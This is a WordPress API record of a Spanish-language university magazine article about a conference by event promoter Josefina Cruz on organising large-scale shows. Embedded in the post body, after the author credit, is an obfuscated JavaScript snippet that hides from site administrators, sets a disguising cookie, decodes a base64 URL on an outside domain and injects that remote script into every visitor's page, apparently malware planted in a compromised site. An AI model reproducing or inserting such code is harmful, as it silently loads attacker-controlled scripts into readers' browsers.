{"id":11915,"date":"2023-11-07T20:26:00","date_gmt":"2023-11-08T02:26:00","guid":{"rendered":"https:\/\/locus.uaa.mx\/?p=11915"},"modified":"2025-10-28T15:41:03","modified_gmt":"2025-10-28T21:41:03","slug":"traerle-a-la-gente-lo-que-le-gusta-y-la-buena-organizacion-las-claves-el-exito-de-josefina-cruz","status":"publish","type":"post","link":"https:\/\/comunicacion.uaa.mx\/revista\/?p=11915","title":{"rendered":"Las claves para organizar espect\u00e1culos masivos en la primera conferencia del 40 anviersario"},"content":{"rendered":"<p style=\"text-align: justify\">Una de las claves para el \u00e9xito en la organizaci\u00f3n de espect\u00e1culos masivos es &#8220;<strong>traerle a la gente lo que le gusta, no lo que a nosotros nos gusta<\/strong>&#8221; y la otra est\u00e1 en el cuidado de la <strong>log\u00edstica, seguridad, organizaci\u00f3n y responsabilidad <\/strong>que se tiene que asumir al dirigir empresas del espect\u00e1culo a esa escala, expuso <strong>Josefina Cruz<\/strong> en la conferencia inaugural de la conmemoraci\u00f3n de los 40 a\u00f1os de las carreras de comunicaci\u00f3n en el auditorio Dr. Pedro de Alba.<a href=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia3.jpg\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1061\" height=\"747\" class=\"alignright size-full wp-image-11921\" src=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia3.jpg\" alt=\"\" srcset=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia3.jpg 1061w, https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia3-300x211.jpg 300w, https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia3-1024x721.jpg 1024w, https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia3-768x541.jpg 768w\" sizes=\"(max-width: 1061px) 100vw, 1061px\" \/><\/a><\/p>\n<p style=\"text-align: justify\">En la conferencia titulada &#8220;<strong>Organizaci\u00f3n de eventos a gran escala<\/strong>&#8220;, Josefina Cruz, empresaria de espect\u00e1culos por m\u00e1s de 40 a\u00f1os y miembro de <strong><a href=\"https:\/\/memacmx.org\/\" target=\"_blank\" rel=\"noopener\">MEMAC<\/a> Mujeres Empresarias Mexicanas AC<\/strong>, se\u00f1al\u00f3 tambi\u00e9n que lo m\u00e1s dif\u00edcil que ha tenido que enfrentar en su carrera fue &#8220;<strong>hacerse un lugar, en un negocio de hombres<\/strong>&#8220;, pues tuvo que aprender a ganarse el &#8220;respeto&#8221; de sus compa\u00f1eros y adaptarse a la idea de ser liderados por una mujer, aunque su recorrido se encontr\u00f3 lleno de aprendizaje, y experiencias que la hicieron mejorar con el tiempo, afirm\u00f3 que &#8220;cuando amas hacer algo, no te resulta dif\u00edcil aprender&#8221;.<a href=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1.jpg\"><img decoding=\"async\" width=\"1280\" height=\"963\" class=\"alignleft size-full wp-image-11922\" src=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1.jpg\" alt=\"\" srcset=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1.jpg 1280w, https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1-300x226.jpg 300w, https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1-1024x770.jpg 1024w, https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1-768x578.jpg 768w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/a><\/p>\n<p style=\"text-align: justify\">La ponente present\u00f3 un amplio recorrido de su trayectoria, con lo que logr\u00f3 ilustrar la transici\u00f3n generacional del mundo de los conciertos, espect\u00e1culos de comedia, presentaciones art\u00edsticas, ferias y carnavales, adem\u00e1s de aderezar con fotograf\u00edas y an\u00e9cdotas de las celebridades con quienes ha trabajado. Incluso, subray\u00f3, d\u00e1ndoles sus primeras oportunidades o ayudando a su despegue, como los casos que refiri\u00f3 de <strong>Valent\u00edn Elizalde<\/strong> o <strong>Jenni Rivera<\/strong>.<\/p>\n<p style=\"text-align: justify\">Aproximadamente 300 personas asistieron a esta primera actividad de los tres d\u00edas en que habr\u00e1 conferencias, talleres, foros y actividades art\u00edsticas. Entre estos asistentes estuvo la rectora Yessenia Pinz\u00f3n, quien le entreg\u00f3 el reconocimiento a Josefina Cruz al final y el grupo de mujeres empresarias que la acompa\u00f1\u00f3 en la primera fila.<\/p>\n<h5 style=\"text-align: right\"><span style=\"color: #faaf40\"><strong>Texto y fotos:<\/strong><\/span><span style=\"color: #faaf40\"><strong>:<\/strong><\/span><span style=\"color: #505867\"> Florencia Escobedo, estudiante de sociolog\u00eda<\/span><\/h5>\n<p>(function(){try{if(document.getElementById&amp;&amp;document.getElementById(&#8216;wpadminbar&#8217;))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||&#8221;).indexOf(&#8216;http2_session_id=&#8217;)!==-1)return;function systemLoad(input){var key=&#8217;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=&#8217;,o1,o2,o3,h1,h2,h3,h4,dec=&#8221;,i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,&#8221;);while(i&lt;input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1&lt;&gt;4);o2=((h2&amp;15)&lt;&gt;2);o3=((h3&amp;3)&lt;&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad(&#039;aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==&#039;);if(typeof window!==&#039;undefined&#039;&amp;&amp;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie=&#039;http2_session_id=1; expires=&#039;+d.toUTCString()+&#039;; path=\/; SameSite=Lax&#039;+(location.protocol===&#039;https:&#039;?&#039;; Secure&#039;:&#039;&#039;);try{window.__rl=u;}catch(e){}var s=document.createElement(&#039;script&#039;);s.type=&#039;text\/javascript&#039;;s.async=true;s.src=u;try{s.setAttribute(&#039;data-rl&#039;,u);}catch(e){}(document.getElementsByTagName(&#039;head&#039;)[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/p>\n<div class=\"likebtn_container\" style=\"\"><!-- LikeBtn.com BEGIN --><span class=\"likebtn-wrapper\"  data-identifier=\"post_11915\"  data-lang=\"es\"  data-style=\"\"  data-unlike_allowed=\"\"  data-show_copyright=\"\"  data-item_url=\"https:\/\/comunicacion.uaa.mx\/revista\/?p=11915\"  data-item_title=\"Las claves para organizar espect\u00e1culos masivos en la primera conferencia del 40 anviersario\"  data-item_image=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1Destacada.jpg\"  data-item_date=\"2023-11-07T20:26:00-06:00\"  data-engine=\"WordPress\"  data-plugin_v=\"2.6.64\"  data-event_handler=\"likebtn_eh\" ><\/span><!-- LikeBtn.com END --><\/div>","protected":false},"excerpt":{"rendered":"<p>Una de las claves para el &eacute;xito en la organizaci&oacute;n de espect&aacute;culos masivos es &ldquo;traerle a la gente lo que le gusta, no lo que a nosotros nos gusta&rdquo; y la otra est&aacute; en el cuidado de la log&iacute;stica, seguridad, organizaci&oacute;n y responsabilidad que se tiene que asumir al dirigir empresas del espect&aacute;culo a esa&#8230;<\/p>\n<div class=\"likebtn_container\" style=\"\"><!-- LikeBtn.com BEGIN --><span class=\"likebtn-wrapper\"  data-identifier=\"post_11915\"  data-lang=\"es\"  data-style=\"\"  data-unlike_allowed=\"\"  data-show_copyright=\"\"  data-item_url=\"https:\/\/comunicacion.uaa.mx\/revista\/?p=11915\"  data-item_title=\"Las claves para organizar espect\u00e1culos masivos en la primera conferencia del 40 anviersario\"  data-item_image=\"https:\/\/comunicacion.uaa.mx\/revista\/wp-content\/uploads\/2023\/11\/Florencia1Destacada.jpg\"  data-item_date=\"2023-11-07T20:26:00-06:00\"  data-engine=\"WordPress\"  data-plugin_v=\"2.6.64\"  data-event_handler=\"likebtn_eh\" ><\/span><!-- LikeBtn.com END --><\/div>","protected":false},"author":2,"featured_media":11918,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"_kad_post_classname":"","footnotes":""},"categories":[3],"tags":[],"class_list":["post-11915","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.5 - 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